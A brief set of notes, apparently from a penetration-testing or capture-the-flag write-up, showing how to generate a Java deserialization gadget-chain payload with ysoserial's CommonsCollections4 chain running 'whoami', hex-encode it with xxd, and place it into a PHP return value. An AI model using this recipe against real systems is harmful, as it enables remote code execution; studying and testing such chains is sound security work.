    Generating a gadgets chain:
    
    Generate a Commons-Collections-4 payload to execute the command: whoami
    
    java -jar ysoserial.jar CommonsCollections4 "whoami" > payload.bin
    
    Convert it to hex or base64 for input into PHP : xxd -p payload.bin
    
    Place it where: return "<hex serialized bytes>";
